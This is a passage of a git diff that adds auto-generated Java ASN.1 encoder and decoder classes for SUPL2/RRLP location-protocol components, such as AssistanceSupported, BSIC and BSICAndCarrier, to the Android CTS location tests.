+ public static AssistanceNeeded fromPerAligned(byte[] encodedBytes) {
+ AssistanceNeeded result = new AssistanceNeeded();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSAssistanceData gpsAssistanceData_;
+ public GPSAssistanceData getGpsAssistanceData() {
+ return gpsAssistanceData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSAssistanceData
+ */
+ public void setGpsAssistanceData(Asn1Object value) {
+ this.gpsAssistanceData_ = (GPSAssistanceData) value;
+ }
+ public GPSAssistanceData setGpsAssistanceDataToNewInstance() {
+ gpsAssistanceData_ = new GPSAssistanceData();
+ return gpsAssistanceData_;
+ }
+
+ private GANSSAssistanceData ganssAssistanceData_;
+ public GANSSAssistanceData getGanssAssistanceData() {
+ return ganssAssistanceData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAssistanceData
+ */
+ public void setGanssAssistanceData(Asn1Object value) {
+ this.ganssAssistanceData_ = (GANSSAssistanceData) value;
+ }
+ public GANSSAssistanceData setGanssAssistanceDataToNewInstance() {
+ ganssAssistanceData_ = new GANSSAssistanceData();
+ return ganssAssistanceData_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsAssistanceData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsAssistanceData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsAssistanceDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSAssistanceData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsAssistanceData : "
+ + getGpsAssistanceData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAssistanceData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAssistanceData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAssistanceDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAssistanceData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAssistanceData : "
+ + getGanssAssistanceData().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AssistanceNeeded = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceSupported.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceSupported.java
new file mode 100755
index 0000000..b4de819
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceSupported.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AssistanceSupported extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AssistanceSupported
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AssistanceSupported() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AssistanceSupported;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AssistanceSupported != null) {
+ return ImmutableList.of(TAG_AssistanceSupported);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AssistanceSupported from encoded stream.
+ */
+ public static AssistanceSupported fromPerUnaligned(byte[] encodedBytes) {
+ AssistanceSupported result = new AssistanceSupported();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AssistanceSupported from encoded stream.
+ */
+ public static AssistanceSupported fromPerAligned(byte[] encodedBytes) {
+ AssistanceSupported result = new AssistanceSupported();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSAssistance gpsAssistance_;
+ public GPSAssistance getGpsAssistance() {
+ return gpsAssistance_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSAssistance
+ */
+ public void setGpsAssistance(Asn1Object value) {
+ this.gpsAssistance_ = (GPSAssistance) value;
+ }
+ public GPSAssistance setGpsAssistanceToNewInstance() {
+ gpsAssistance_ = new GPSAssistance();
+ return gpsAssistance_;
+ }
+
+ private GANSSAssistanceSet gANSSAssistanceSet_;
+ public GANSSAssistanceSet getGANSSAssistanceSet() {
+ return gANSSAssistanceSet_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAssistanceSet
+ */
+ public void setGANSSAssistanceSet(Asn1Object value) {
+ this.gANSSAssistanceSet_ = (GANSSAssistanceSet) value;
+ }
+ public GANSSAssistanceSet setGANSSAssistanceSetToNewInstance() {
+ gANSSAssistanceSet_ = new GANSSAssistanceSet();
+ return gANSSAssistanceSet_;
+ }
+
+
+
+ private GANSSAdditionalAssistanceChoices extensionGANSSAdditionalAssistanceChoices;
+ public GANSSAdditionalAssistanceChoices getExtensionGANSSAdditionalAssistanceChoices() {
+ return extensionGANSSAdditionalAssistanceChoices;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAdditionalAssistanceChoices
+ */
+ public void setExtensionGANSSAdditionalAssistanceChoices(Asn1Object value) {
+ extensionGANSSAdditionalAssistanceChoices = (GANSSAdditionalAssistanceChoices) value;
+ }
+ public void setExtensionGANSSAdditionalAssistanceChoicesToNewInstance() {
+ extensionGANSSAdditionalAssistanceChoices = new GANSSAdditionalAssistanceChoices();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsAssistance() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsAssistance();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsAssistanceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSAssistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsAssistance : "
+ + getGpsAssistance().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSAssistanceSet() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSAssistanceSet();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSAssistanceSetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAssistanceSet.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSAssistanceSet : "
+ + getGANSSAssistanceSet().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGANSSAdditionalAssistanceChoices() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGANSSAdditionalAssistanceChoices();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGANSSAdditionalAssistanceChoicesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSAdditionalAssistanceChoices : "
+ + getExtensionGANSSAdditionalAssistanceChoices().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AssistanceSupported = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BCCHCarrier.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BCCHCarrier.java
new file mode 100755
index 0000000..9d1da3c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BCCHCarrier.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class BCCHCarrier extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_BCCHCarrier
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BCCHCarrier() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BCCHCarrier;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BCCHCarrier != null) {
+ return ImmutableList.of(TAG_BCCHCarrier);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BCCHCarrier from encoded stream.
+ */
+ public static BCCHCarrier fromPerUnaligned(byte[] encodedBytes) {
+ BCCHCarrier result = new BCCHCarrier();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BCCHCarrier from encoded stream.
+ */
+ public static BCCHCarrier fromPerAligned(byte[] encodedBytes) {
+ BCCHCarrier result = new BCCHCarrier();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "BCCHCarrier = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSIC.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSIC.java
new file mode 100755
index 0000000..7e041b7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSIC.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class BSIC extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_BSIC
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BSIC() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BSIC;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BSIC != null) {
+ return ImmutableList.of(TAG_BSIC);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BSIC from encoded stream.
+ */
+ public static BSIC fromPerUnaligned(byte[] encodedBytes) {
+ BSIC result = new BSIC();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BSIC from encoded stream.
+ */
+ public static BSIC fromPerAligned(byte[] encodedBytes) {
+ BSIC result = new BSIC();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "BSIC = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSICAndCarrier.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSICAndCarrier.java
new file mode 100755
index 0000000..46f7398
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSICAndCarrier.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class BSICAndCarrier extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_BSICAndCarrier
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BSICAndCarrier() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BSICAndCarrier;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BSICAndCarrier != null) {
+ return ImmutableList.of(TAG_BSICAndCarrier);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BSICAndCarrier from encoded stream.
+ */
+ public static BSICAndCarrier fromPerUnaligned(byte[] encodedBytes) {
+ BSICAndCarrier result = new BSICAndCarrier();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BSICAndCarrier from encoded stream.
+ */
+ public static BSICAndCarrier fromPerAligned(byte[] encodedBytes) {
+ BSICAndCarrier result = new BSICAndCarrier();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BCCHCarrier carrier_;
+ public BCCHCarrier getCarrier() {
+ return carrier_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BCCHCarrier
+ */
+ public void setCarrier(Asn1Object value) {
+ this.carrier_ = (BCCHCarrier) value;
+ }
+ public BCCHCarrier setCarrierToNewInstance() {
+ carrier_ = new BCCHCarrier();
+ return carrier_;
+ }
+
+ private BSIC bsic_;
+ public BSIC getBsic() {
+ return bsic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BSIC
+ */
+ public void setBsic(Asn1Object value) {
+ this.bsic_ = (BSIC) value;
+ }
+ public BSIC setBsicToNewInstance() {
+ bsic_ = new BSIC();
+ return bsic_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCarrier() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCarrier();
+ }
+
+ @Override public void setToNewInstance() {
+ setCarrierToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BCCHCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "carrier : "
+ + getCarrier().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSIC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsic : "
+ + getBsic().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("BSICAndCarrier = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BTSPosition.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BTSPosition.java
new file mode 100755
index 0000000..414787e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BTSPosition.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+// AUTO-GENERATED TYPE ALIAS
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.supl2.map_lcs_datatypes.Ext_GeographicalInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+public class BTSPosition extends Ext_GeographicalInformation {
+ private static final Asn1Tag TAG_BTSPosition = Asn1Tag.fromClassAndNumber(-1, -1);
+ public BTSPosition() {
+ }
+
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BTSPosition;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BTSPosition != null) {
+ return ImmutableList.of(TAG_BTSPosition);
+ } else {
+ return Ext_GeographicalInformation.getPossibleFirstTags();
+ } }
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BadSignalElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BadSignalElement.java
new file mode 100755
index 0000000..1954c82
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BadSignalElement.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class BadSignalElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_BadSignalElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BadSignalElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BadSignalElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BadSignalElement != null) {
